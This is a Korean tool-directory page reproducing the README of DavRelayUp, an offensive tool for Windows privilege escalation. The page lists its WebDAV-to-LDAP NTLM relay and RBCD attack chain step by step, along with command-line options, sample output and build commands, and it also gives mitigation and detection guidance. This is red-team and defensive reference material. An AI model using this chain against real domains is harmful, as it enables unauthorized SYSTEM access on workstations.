Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
DavRelayUp — WebDAV에서 LDAP으로 NTLM 인증을 릴레이하여 도메인에 가입된 Windows 워크스테이션에서 로컬 권한 상승을 SYSTEM으로 자동화하며, LDAP 서명 적용 없이 리소스 기반 제한 위임(RBCD)을 활용합니다. | Kitploit
도구/GitHubGitHub/dec0ne/davrelayup
Privilege EscalationExploitationLateral MovementAuthenticationRed Teaming
GitHubdec0ne/davrelayup

DavRelayUp

WebDAV에서 LDAP으로 NTLM 인증을 릴레이하여 도메인에 가입된 Windows 워크스테이션에서 로컬 권한 상승을 SYSTEM으로 자동화하며, LDAP 서명 적용 없이 리소스 기반 제한 위임(RBCD)을 활용합니다.

저장소 보기
575763년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

DavRelayUp

다음 공격 프리미티브를 남용하기 위해 webdav에서 LDAP으로의 NTLM 릴레이를 허용하도록 수정한 KrbRelayUp의 빠르고 대충 만든 포트입니다.

  1. (선택 사항) 새 컴퓨터 계정 생성 (New-MachineAccount)
  2. WebClient 서비스 강제 시작
  3. webdav 릴레이 서버 시작 (GoRelayServer - Costura.Fody를 사용해 DavRelayUp에 포함된 golang DLL)
  4. 로컬 컴퓨터 계정 인증 강제 (SharpSystemTriggers)
  5. LDAP으로 NTLM 릴레이
  6. RBCD 권한 추가 및 로컬 컴퓨터에 대한 권한 있는 ST 획득 (Rubeus)
  7. 해당 ST를 사용하여 로컬 서비스 관리자에 인증하고 NT/SYSTEM으로 새 서비스 생성. (SCMUACBypass)

이것은 LDAP 서명이 적용되지 않은(기본 설정) 도메인에 가입된 Windows 워크스테이션에서 본질적으로 보편적인 수정 불필요 로컬 권한 상승입니다.

사용법

root@kitploit:~
DavRelayUp - 당신을 SYSTEM으로 다시 릴레이합니다...

Usage: DavRelayUp.exe [-c] [-cn COMPUTERNAME] [-cp PASSWORD | -ch NTHASH]

RBCD 옵션:
    -c   (--CreateNewComputerAccount) RBCD용 새 컴퓨터 계정을 생성합니다. 현재 인증된 사용자를 사용합니다.
    -cn  (--ComputerName)             RBCD용 공격자가 소유한 컴퓨터 계정 이름입니다. (기본값=DAVRELAYUP$)
    -cp  (--ComputerPassword)         RBCD용 컴퓨터 계정의 비밀번호입니다. (기본값=RANDOM [-c가 활성화된 경우])
    -ch  (--ComputerPasswordHash)     RBCD용 컴퓨터 계정의 NT 해시 비밀번호입니다. (-cp 또는 -ch 중 하나를 지정해야 합니다.)
    -i   (--Impersonate)              가장할 사용자입니다. 대상 컴퓨터의 로컬 관리자여야 합니다. (기본값=Administrator)

KrbSCM 옵션:
    -s   (--ServiceName)              생성할 서비스의 이름입니다. (기본값=KrbSCM)
    -sc  (--ServiceCommand)           서비스 명령 [binPath]입니다. (기본값 = cmd.exe를 SYSTEM으로 실행)

일반 옵션:
    -p  (--Port)                     WebDAV 서버 포트입니다 (기본값=55555)
    -d  (--Domain)                   도메인의 FQDN입니다. (선택 사항)
    -dc (--DomainController)         도메인 컨트롤러의 FQDN입니다. (선택 사항)
    -ssl                             LDAP over SSL을 사용합니다. (선택 사항)
    -n                               ST 가져오기 시 PTT 대신 CreateNetOnly(디스크에 있어야 함)를 사용합니다. (선택 사항)
    -v  (--Verbose)                  상세 출력을 표시합니다. (선택 사항)
    -h  (--Help)                     도움말을 표시합니다.

알려진 문제

DavRelayUp이 다음 단계 중 하나에서 멈출 경우, [-p] 플래그를 사용하여 다른 포트를 시도해 보세요.

root@kitploit:~
DavRelayUp - Relaying you to SYSTEM, again...

[+] WebClient Service started successfully
[+] Starting Relay Server on Port 55555
[+] Coercing System Authentication
root@kitploit:~
DavRelayUp - Relaying you to SYSTEM, again...

[+] WebClient Service started successfully
[+] Starting Relay Server on Port 55555
[+] Coercing System Authentication
[+] WebDAV Request: No Authorization header
[+] WebDAV Response: Sending 401 Unauthorized with "WWW-Authenticate: NTLM" header

예제

https://github.com/Dec0ne/DavRelayUp/assets/54464773/4e791e8b-783c-48d3-b46b-8b22e2661ea1

예제

빌드

  1. GoRelayServer 빌드 (이 저장소에 이미 빌드되어 있지만, 직접 수행하려는 경우를 대비)
    root@kitploit:~
    PS C:\Tools\DavRelayUp> cd GoRelayServer
    PS C:\Tools\DavRelayUp\GoRelayServer> go build --buildmode=c-shared -ldflags="-s -w"  -o "../DavRelayUp/Costura64/GoRelayServer.dll" main.go
    
    이렇게 하면 GoRelayServer DLL이 빌드되어 "DavRelayUp\DavRelayUp\Costura64\GoRelayServer.dll"에 저장됩니다. 이 폴더는 Costura.Fody가 최종 DavRelayUp.exe 실행 파일에 DLL을 포함시키는 폴더입니다.
  2. Visual Studio 2019에서 KrbRelayUp.sln을 엽니다.
  3. 솔루션 구성이 Release로 설정되어 있는지 확인하고 빌드(CTRL+SHIFT+B)를 누릅니다.

TODO

  • RELAY 방법으로 ShadowCred 공격 추가
  • 머신 계정 없이 공격을 수행할 수 있도록 U2U 지원 추가

완화 및 탐지

  • LDAP 서명 및 LDAP 채널 바인딩을 적용하여 머신 계정 인증의 LDAP 릴레이를 완화합니다. 이는 "도메인 컨트롤러: LDAP 서버 서명 요구 사항" GPO를 통해 구성할 수 있습니다. (이 문제에 대한 트윗을 해주신 Will Dormann님께 감사드립니다.)
  • AD에서 MS-DS-Machine-Account-Quota 특성을 0으로 설정하여 공격 요구 사항을 충족하기 어렵게 만듭니다. 이렇게 하면 모든 사용자가 도메인에 새 머신 계정을 추가할 수 있는 기능이 제거됩니다. 이는 AD의 위험한 기본 설정입니다. 반드시 변경하십시오.
  • 모든 관리자 계정에 "계정이 중요하므로 위임할 수 없음" 플래그를 설정하거나 보호된 사용자 그룹에 넣으면 공격 경로를 완료하는 데 필요한 권한이 있는 위임 가능한 계정이 없게 됩니다. (이 트윗을 제공해주신 Christoph Falta님께 감사드립니다.)
  • 가능한 모니터링 및 탐지 규칙을 위한 리소스:
    1. https://github.com/tsale/Sigma_rules/blob/main/windows_exploitation/KrbRelayUp.yml (@Kostastsale)
    2. https://twitter.com/SBousseaden/status/1518976397364056071 (@SBousseaden). 주로 127.0.0.1에서 Kerberos를 통한 서비스 관리자 인증 규칙, 훌륭합니다!.
    3. https://www.linkedin.com/posts/john-dwyer-xforce_threathunting-threatdetection-blueteam-activity-6924739962131140608-py45/ (John Dwyer @TactiKoolSec)

감사의 말

  • James Forshaw님이 Kerberos 서비스 티켓을 사용하여 서비스 관리자에 로컬 인증하는 방법을 알아내셨습니다. 이는 이 공격 프리미티브를 로컬 전용으로 만드는 퍼즐의 누락된 조각이었습니다. (그 전에는 ST를 원격 머신으로 내보내서 대상 머신에 대한 권한 있는 접근을 얻어야 했습니다.)
  • 이 프로젝트에 사용된 New-MachineAccount 기능을 제공해주신 Kevin Robertson님.
  • 이 프로젝트에 사용된 SharpSystemTriggers 기능(특히 SharpEfsTrigger)을 제공해주신 Cube0x0님.
  • RBCD에 대한 연구 - Wagging the Dog를 수행해주신 Elad Shamir님.
  • Will Schroeder님과 우리 모두가 알고 사랑하는 Rubeus에 기여한 모든 분들. 기본적으로 모든 RBCD-S4U 기능은 거기서 가져왔습니다.
  • 제가 데모 비디오와 이미지에서 보여주는 Active Directory 연구 랩인 GOAD를 작업해주신 Orange-Cyberdefense님.
  • Red Team: How to embed Golang tools in C#라는 멋진 블로그 게시물을 작성해주신 Shantanu Khandelwal님.
  • GoRelayServer는 webdav-to-ldap NTLM 릴레이를 허용하도록 수정한 go-ldap의 작업을 기반으로 구축되었습니다. 또한 webdav NTLM 인증 작동 방식을 배우고 GoRelayServer에서 서버 리스너로 구현하는 데 사용한 SharpWebServer를 제공해주신 Mariusz Banach님께 감사드립니다.
도구 다운로드